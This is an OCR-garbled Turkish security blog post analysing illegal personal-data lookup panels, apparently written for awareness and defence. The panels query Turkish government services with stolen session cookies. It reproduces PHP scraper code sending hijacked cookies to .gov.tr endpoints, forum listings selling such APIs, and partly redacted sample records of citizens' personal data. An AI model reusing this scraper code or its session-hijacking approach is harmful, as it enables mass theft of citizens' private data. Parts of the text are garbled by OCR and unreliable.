R tcgsm.php RELVARVIVEE: 'User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0
R tcsorgu.php Jan 21, 2023 Salag O3 SC
d ' acd ));
R universite.php Jan 28, 2023 2 . .
R vesika.php Jan 24, 2023 L © G GO RTE
> M asi Feb 1, 2023 at print_r($resp);
> M bina Feb 1, 2023 at 3 g £
> @ bomer Feb 1, 2023 at
Fah 1 20212 at

<?php
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@ © api.php ™  Open with Xcode
Name Date Modified
——r . <?php
R api.php Feb 2, 2022 at error_reporting(0);
- E ini_set('display_errors', 0);
v @ fayujhane Feb 1, 2023 at
R api.php Dec 9, 2022 at
v @ gsmtc Feb 1, 2023 at
n api.php Feb 10, 2023 a header('Content-Type: application/json');

use GuzzleHttp\Client;

v @ ikametgah Feb 1, 2023 at $tc = $_POST["tc"];

_ B apiphp Jl 2, Avsle $client = new Client();
v [ isyeri Feb 1, 2023 at $requestKimlik = $client->request('GET', ‘'https:// .gov.tr/Takip/VakaTakip/GetVakaIsYeriBilgileri?
= ). vakaId=&hasta . $tc
B api.php.bak Feb 13, 2022 : “headers® => [ !
R api.php Jan 27, 2023 at 0 "Accept" => apphcatmn(]son, text/javascript, */x; q=0.01",
T Feb 1, 2023 at 'Accept-Encoding” def'Late, br",

neuhasus Feb 1, 2023 at "gonnection" 2 , ey
"Content-Type" => "application/json; charset=utf-8"
numara Feb 1, 2023 at $cookie, # SISTEN GIRTS COOKIEST

okul Feb 1, 2023 at
. . . "https://I ‘.gov.tr/Takip/VakaTakip/VakaTakipKayit",
omurlerkisadunya...irkereneolmusyani  Feb 1, 2023 at > 1" Not A; Brand" _"gg"' “Chromium";v="98", "Google Chrome";v="98"",

proxy Feb 1, 2023 at "'sec-ch-ua-mobile" => "?70
"'sec-ch-ua-platform" '"Wmdows"‘,
B qwe Feb 1, 2023 at "Sec-Fetch-Dest" =

sinif Feb 1, 2023 at mSECqheteigon (o
"Sec-Fetch-Site" "'same-origin",
sms Feb 1, 2023 at "User-Agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
95.0.4638.69 Safari/537.36"
sokak Feb 1, 2023 at "X-Requested-With" ;> "XMLHttpRequest"
soyagaci Feb 1, 2023 at 1

tepro Feb 1, 2023 at s

universite Feb 1, 2023 at $response = json_decode($requestKimlik->getBody()->getContents(), true);
if ($response["State"] == 1) {
vendor Feb1, 2023 at $json_result = json_decode($response["Result"] ["responselsonStr"], true);
vesika Feb 1, 2023 at $sayi = count($json_result["sigortaliBilgisi"] ["sgkSigortaliBilgileri"] ["sigortaliTumOrtakHizmetlerDtoList"]);
$json_result = json_encode($json_result["sigortaliBilgisi"]["sgkSigortaliBilgileri"]
wroxyadres Feb 1, 2023 at ["sigortaliTumOrtakHizmetlerDtoList"] [$sayi — 11);
wroxyvesika Feb 1, 2023 at echo json_encode(["success" => "true", "message" => "Bulundu", "data" => json_decode($json_result, true), "adres"
) => $response["Result"] ["IsYeriAdres"]]);
yemeksepeti Feb 1, 2023 at } else {

K composer.lock Feb 1 2022 at echo json_encode( ["success" => "false", "message" => "Bulunamadi"]);
! }

R composer.json Feb 1, 2022 at

R 2022.php Jan 13,2023 a

B adsoyad.php Jan 8, 2023 at

< > sorgu E Fo @ & v » Q
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Sorgu
© @ api.php M  Open with Xcode
Name Date Modified
—_— v <?php
R api.php Feb 2, 2022 a error_reporting(@);
e B ini_set('display_errors', 0);
v [ fayujhane Feb 1, 2023 at
i Dec 9 2022 at include /../server/cookie.php";
= B apiphp e . include " /-./server/authcontrol:php";
v I gsmtc Feb 1, 2023 at

. api.php Feb 10, 2023 a include "../vendor/autoload.php";
v [ ikametgah Feb 1, 2023 at use GuzzleHttp\Client;
R api.php Jan 27,2023 a
isyeri Feb 1, 2023 at
B api.php.bak Feb 13,2022 at 0f %t€ = $-_POST["tc"];
B api.php Jan 27, 2023 at $client = new Client(); "
= o " $requestKimlik = $client->request('GET', 'https:// .gov.tr/Takip/VakaTakip/GetVakaOkulBilgileri?
v @ minecraft Feb 1, 2023 at vakald=ghastaTc=" . $tc,

R minecraft.php.bak Feb 1, 2022 at 'head:rs' = I 0 p p ; A
B "Accept" => "application/json, text/javascript, */x; q=0.01"
R minecraft.php Feb 2, 2022 a "Accept-Encoding" => "gzip, déﬂate, br", ! !
v @ neuhasus Feb 1, 2023 at "é\ccept Language => "en-US,en;q=0.9",
"Connection’ i
R smsbomber.php Jan 21,2023 a "Content-Type" 'appl].catu’)n/]san. charset=utf-8",
v i numara Feb 1, 2023 at "Cookie" => $cookie, # SISTEM GIRIS COOKIESI =

header('Content-Type: application/json');

B api.php Apr 23, 2022 a 1 : .gov. tr/Tak1p/VakaTaklp/VakaTaklpKaylt“
v i okul Feb 1 2023 at "sec—ch—ua => '" Not A Brand",v—"99" ""Chromium"; 8", "Google Chrome";v="98"",
— - . "'sec-ch-ua-mobile" h
B api.php Feb 12, 2022 at 0 "sec—ch-ua-| platform i o,

B omurlerkisadunya...irkereneolmusyani  Feb 1, 2023 at "Sec-Fetch-Dest" =

>
> proxy Feb 1, 2023 at i same-origin",
>

qwe Feb 1 2023 at g zilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/

sinif Feb 1, 2023 at "X-Requested-With" & "XMLHttpRequest"
> i sms Feb 1, 2023 at 1; !

> I sokak Feb 1, 2023 at 1 @ @ )
B a $response = json_decode($requestKimlik->getBody()->getContents(), true);
> M soyagaci Feb 1, 2023 at if ($response["state"] = 1) {
> @ tcpro Feb 1, 2023 at echo json_encode( ["success" "true", "message" => "Bulundu", “"data" => $response["Result"]]);
= . " } else {
> M universite Feb 1, 2023 at echo json_encode( ["success" => "false", "message" => "Bulunamadi"]);
}

> @ vendor Feb 1, 2023 at
vesika Feb 1, 2023 at
wroxyadres Feb 1, 2023 at

# wroxyvesika Feb 1, 2023 at

Kuvvetle muhtemel calinti hesaplarla yapiliyor dememin baslica sebebi
SOCRadar’in siber tehdit istihbarati platformunda kotiuye kullanilan bu web
sitelerini arattigimda, erisim bilgilerini iceren kayitlarin (stealer logs:
kullanici adi, parola, cerez vb.) yeralti dinyasinda satildigini gOrmem ile
oldu. Muhtemelen bazi tehdit aktdrleri bu sitelere, sistemlere erisim yetkisi

olan kullanicilarin sistemlerini hackleyip, elde ettikleri bu bilgileri



https://socradar.io/what-is-stealer-as-a-service/

(stealer logs) baska tehdit aktorlerine, dolandiricilara satiyorlar. Yazinin
sonundaki videoda gecen ifadelerin de bunu destekler nitelikte oldugunu
soyleyebiliriz.
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Dashbo

’ 5B+
Q meb.gov.tr Last Year ®x n (&5 Remaining Credit @ 258

» = Total Records
Attack Surface Management

@ Digtal Footprint @ stealer Logs £ Actions

s Vulnerabilties

Entity Usemame  Password Tag Filename LogDate  Country Details ‘ ? ‘ © ‘ ‘ -] ‘
e htips: +govir/ogrenci.. passwords.txt 19 Jun 2023
giris.aspx
Dark Web Monitoring ~{ Stealer Log Filters Clear All
e hitps: govt 3
bt govtr/ogrenci passwords.txt 19 Jun 2023
giris.aspx
@ httpi// Jov.tr/ogrenci_gi _—— I Filter by keyword
ris.aspx P
G hitps: +govtr/ogrenci.. passwords.txt 19.Jun 2023 Tag v
giris.aspx
5], ORP Configuration @ hitp/ Jouir passwords.txt 19 Jun 2023
@ Domain Intel Card
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Ayrica yaptigim arastirmalarda Web APIlerinin de sorgu panelleri gibi yeralti

dinyasinda (underground) ayri bir piyasasinin oldugunu 6grendim.
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Cok guzel bir API birakiyorum https://|
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"data": { ¢ ’
"message": " API SERVIS
t.me/ b
o ol b B
Nad\i; N("
“cinsiyet™: null,
sdith: 2702, 200850
"dty" 15 Y1l 1 Ay 18 GUn",
"anne 4 / il
"baba": " /i i78%,
"memleket”: "G U$HANE/GUMU$HANE
MERKEZ",
"ikamet": " 1STANBUL/ESENYURT" e
"vedekadres": "ISTANBUL ESENYURT

"numarabilgisi": {
"sahsinumara": null,
"annegsm": "+90531
"babagsm": "+9053¢

1.

"okulbilgisi®: {
"okulnumarasi" 1 e
"ogrencidurum": "Aktif &grenci”

";racbilgisi": {
"sahipplaka": null

Cok guzel bir API birakiyorum

N
. | https:// l.net/ free.php?tc=137
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Adi

Soyadi

DogumTarihi

Yas

AnneAd
Kimlik Bilgileri

AnneTc

BabaAd

BabaTc

il

ilce

Gsm
Telefon Bilgileri

Operator

Adres

VergiNo
Adres Bilgileri

VergiDadi

VergiDkodu

Detayl Tc Sorgu Api

16.3.1998

25YIL 2 AY 24 GUN

ISTANBUL

555

TurkTelekom

BUYUKGEKMECE 34

tc= kismini degistirip istediginiz kisiyi sorgulayabilirsiniz.

https:// tk/free/detaylitcsorgu.php?tc=

&2

© 246

03:20
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80k Eokul Api

MEBBIS VE iLAC SORGU PANELI (Sayfalar:1234...11)

Isyeri & Plaka Sorgulama Ucretsiz | (sayfalar:12345)

Tc ile Ders Sorgulama (sayfalar:123 4 ...12)

Apileri sgle gevirmek igin kod :D (Sayfalar:1234..8)

.org/Forum-api-paylagimlari?page=2

in LinkedIn Mert SARICA (mer... 1 Inbox - mert.saric...

PANEL ADRES E OKUL VESIKA (sayfalar:1234...9)

Acik Ogretim Lisesi API Source (Detayl) | (sayfalar:1234...8)

[FREE] Discord Modern Sorgu Botu (Sayfalar:1234...7)

Discord Sorgu Botu Altyapisi & (sayfalar:12345)

Plaka Sorgu / Ehliyet Sorgu apisi by (sayfalar:12)

OZEL APILER (sayfalar:1234..6)

8 Yorum

103 Yorum

43 Yorum

110 Yorum

77 Yorum

86 Yorum

79 Yorum

67 Yorum

47 Yorum

16 Yorum

57 Yorum
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Plaka api kaynak kod

MODERATOR

1L 8.0 8.8 8 ¢

CcC 0O @ justpaste.it/ K » D ] ﬁ H
£ Hack 4 Career. Inf... in Linkedin Mert SARICA (mer... 1 Inbox - mert.saric... Other Bookmarks
<?php
//Dc:l Ulasabilirsiniz
$auth_keys = [" ");

$auth = $_GET['auth'] ?? null;

if (lin_array($auth, $auth_keys)) {
http_response_code(401);

exit("Girdiginiz auth yanlis ya da auth girmediniz");
}

header('Content-Type: application/json; charset=utf-8');
//BURAYI KENDI LOGININZE GORE DUZENLEYIN ANLAMASSINIZ DIYE GIRECEGINIZ YERLERI
//KOYDUM

$Cookie = "_ga_53QJE7B3ME=kendi loginine gére diizenle; _gid=kendi loginine gére diizenle;
_ga_W4LJ4GZT7N=kendi loginine gore diizenle; _ga=GA1.1.1052453498.1677348133; ASPNET_Sessionld=kendi loginine
gore diizenle; ASPXAUTH=/ ;; TS01fe7e76=kendi loginine gdre diizenle;
b_Admin_visibility=visible";

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://arackiralama. 1.gov.tr/frm_arac_iade.aspx?
plaka=".strtoupper($_GET["plaka"]).'&id=17d8d0b1-3239-489a-a967-d33a9073d790&tur=1");

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');

curl_setopt($ch, CURLOPT_HTTPHEADER, [

Kaynak kodlarini incelemeye devam edip TCKN bilgisi ile hangi bilgilerin bu
paneller lzerinden elde edilebilecegine dair kodlara goz attigimda kabaca
asagidaki bir tablo ortaya c¢ikti.



[ @ vipplus.php

4>  vipplus.php

page_title = 'TC VIP PLUS';
include('i 3 ~_main.php');
include('inc/header_si r.php');
include('inc/header_native.php');
T
! ——BASLANGI
class="row'
col-x1-12 col-md-6

class="card-body"'
class="card-title mb-4">TC ViP PLUS
class="mb-1

Sorgulanacak Kisinin T.C. Nosunu Giriniz.
block-content tab-content
tab-pane active" id="tc
th="11" class="form-control" type="text" name="tcno" id="tcno" placeholder="TC

()" nam id="sorgula" name="yolla" class="btn waves-effect waves-light btn-rounded btn-primary" style='
'th: 180px; height: 45px; out none; margin-left: 5px; class="fas fa-search Sorgula
onclick= ()" id="durdurButon" type="button" class="btn waves-effect waves-light btn-rounded btn-danger" style="width: 180
class="fas trash-alt Sifirla
oncli d azdirTa t button" c otn ffect waves-light btn-rounded btn-warning" style="width: 180px
; height: 45px; outline: none; margin-left: 5px class="fas fa-print Yazdir Detay

class="table-responsive
=""zero-conf" class="table table-hover" style="width: 10|

CINSIYET:
DOGUM TARIHI
DOGUM YERL
NUFUS iL
NUFUS ILCE
MEDENI HALI
ANNE ADI

BABA ADI

ANNE TC

BABA TC
KIZLIK SOYADI
MAVI KART VARMI?
AILE SIRA NO
BIREY SIRA NO:
CILT NO

Vesikalik Sorgusu (AOL) ile Tapu Sorgusu ile TC Vip Sorgusu ile GSM Sorgusu ile Arag Sorgusu ile Ada Parsel Sorgusuile|  |Soyagaci Sorgusu ile Malik Sorgusu ile Ehliyet Sinav Sorgusu ile
Ad Kimlik No Ad GsM Plaka Mahalle No Yakinlik Malik No Oturum Tarihi
Soyad Tasinmaz No Soyad Ad Arag Markasi Zemin Durumu TC Malik Adt Sertifika Tiri
Anne Adi Tapu Bilgisi Cinsiyet Soyad Arag Modeli Ada Ad Hisse Tipi Sinav Adi
Baba Adi Alt Tasinmaz No Dogum Tarihi Dogum Tarihi Arag Model Yil Parsel Soyad Tapu Bolim Durumu Sinav Puant
Ogrencilik Durumu Mahalle Dogum Yeri Anne Adi Arag Renk Pafta Dogum Tarihi Kisi Durumu Durumu
Okul il Niifus il Anne TC Arag Yakit Mevkii Adres Il Tesis Islem Tanim Ad
Ogrenci No lige Niifus lige Baba Adi Nitelik Adres lige Tesis Islem Tanim Tarih Ast Sorgusu ile
Son Aktif Dénemi Ada Medeni Hali Baba TC Vesikalik Sorgusuiile | [l Anne Adi Tesis Islem Yevmiye No Kisi TC

Parsel Anne Adi Adres I Ad lige Anne TC Bilgi Birim
Seri No Sorgusu ile Tapu Boliim Durumu Baba Adi Adres lige Soyad Mahalle Baba Adi Dogum Tarihi

Ad Tapu Durumu Anne TC Kimlik Fotografi Tapu Boliim Durumu Baba TC Isyeri Sorgusu ile Doktor TC
Soyad Nitelik Baba TC Segmen Sorgusu ile Alan Kimlik No Lot No
Dogum Tarihi Kat Kizlik Soyadi Kimlik No Vergi Sorgu ile Harita Sokak Sorgusu ile Sirket & Ad Soyad Uygulanma Tarihi
Seri No Arsa Pay Mavi Kart Var mi 2 Ad Ad Ad Adres Stoktan Diisme Tarihi

Arsa Payda Alle Sira No Soyad Soyad Sabika Sorgusu ile Soyad Eski Sube Kodu

Oniversite Sorgusu ile Cilt No Birey Sira No Dogum Tarihi Dogum Tarihi Dosya Adt Anne Adi IWPlaka Kodu
Ad Kanuna Tabi mi? Cilt No Cinsiyet Vergi Daire Adi Suglu Adi Baba Adi SiraNo
Soyad Vergi Daire Kodu Suglu Soyad Dogum Yeri Yeni Sube Kodu
Universite Oliim Tarihi Sorgusu ile| | Oliim Sorgusu ile Muayene Sorgusuile|  [Vergi No Sug Tiirii Dogum Tarihi Araci No
Kurum Kodu Ad Ad Katilm Ucreti Kisi Tipi Cinsiyet
Durum Soyad Soyad Takip No. Kurum Niifus I Evlilik & Bosanma Sorgusu ile

Cinsiyet Dogum Tarihi Takip Tarihi Avukat Adi Niifus iige Ad

Sinif Sorgusu ile Dogum Yeri Dogum Yeri Tahsis Edildi mi ? Avukat Soyadi Adres Il Soyad
Ad Dogum Tarihi Yasam Durumu Hastahane Adi Avukat TC No Adres lige Cinsiyet
Soyad Durum Dosya Durumu Adres Mahalle Medeni Hali
Okul Oliim Tarihi Avukat Durumu Adres Cadde/Sokak Dogum Tarihi
Okul Tilrii Kurum Adi Adres Bina No Evlilik Tarihi
SinifiSube Adres Daire No Bosanma Tarihi

Kaynak kodlarini incelemeye devam ettigimde, o6nceki konudan bagimsiz olarak
yine son gunlerde haberlere ve tartismalara konu olan yaklasik 131 adet kisi
ve kimlik fotograflari ile de karsilastim. Bunlari gec¢mis haberlerde yer alan
goruntilerle kiyasladigimda bunlarin binlerce kisinin dolandirildigi kripto
para borsasi Thodex ile iliskisi oldugunu, 2021 yilindan beri
dolandiricilarin elinde bulundugu ve 50 TL‘ye satildigini &égrendim.
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< Photoshop islemlerié”
Tum Evraklarda Oynama Yapilir
Kargo Fisi, Fatura vb. Yapilir
~ Kimlik Shoplanir
: Thodex Selfielerinde oynama yapilr
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Reply

‘ Oha abi gok buytksun ben 7 yasindayim

| Yawolm dalga gecmeyin coluk cocukla .54

' [ Sasr::n ye

@

Konuyu toparlayacak olursak, e-Devlet hacklenmemis olsa da biz sade

vatandaslar icin maalesef ortaya endise verici bir sonu¢ cikiyor. Bu dizeyde,
organize dolandiriciliklara karsi verilerimizin, bilgilerimizin glivenligini
bireysel olarak saglamamiz veya elde edildigini disundugimiz verileri
degistirmemiz, glincellememiz (TCKN, Anne Adi, Baba Adi, Kizlik Soyadi vb.)
pek mumkin degil bu nedenle;

. Bu sekilde calinan, kotiuye kullanilan hesaplari, web
sitelerini/APIlerini/servislerini siber tehdit istihbaratindan,
platformlarindan, hizmetlerinden faydalanarak tespit etmek ve midahale etmek
icin yetkililere blyuk bir gorev dusuyor.

. Her ne kadar emniyet guc¢lerinin dolandiricilara, tehdit aktdrlerine karsi
operasyonlari asagidaki gibi hiz kesmeden devam etse de, kotliye kullanilma
riski olan bu tir web sitelerinde/APIlerde/servislerde yazilim ve ag
seviyesinde giuvenlik kontrollerinin uygulanmasi (Mumkin olan yerlerde Captcha
kontrolu, bir sayfaya/servise maks x saniyede y web istegi yapilabilmesi,


https://www.turkiye.gov.tr/
https://en.wikipedia.org/wiki/CAPTCHA

¢oklu istek yapilmasi durumunda hesabin askiya alinmasi ve incelenmesi, ag
baglantisinin kesilmesi, ilave dogrulama adimlarina tabi tutulmasi gibi

gibi), sistemlerin sikilastirilmasi da (hardening) buylk o6nem arz ediyor.

Bir sonraki yazida gorusmek dilegiyle herkese givenli ginler dilerim.



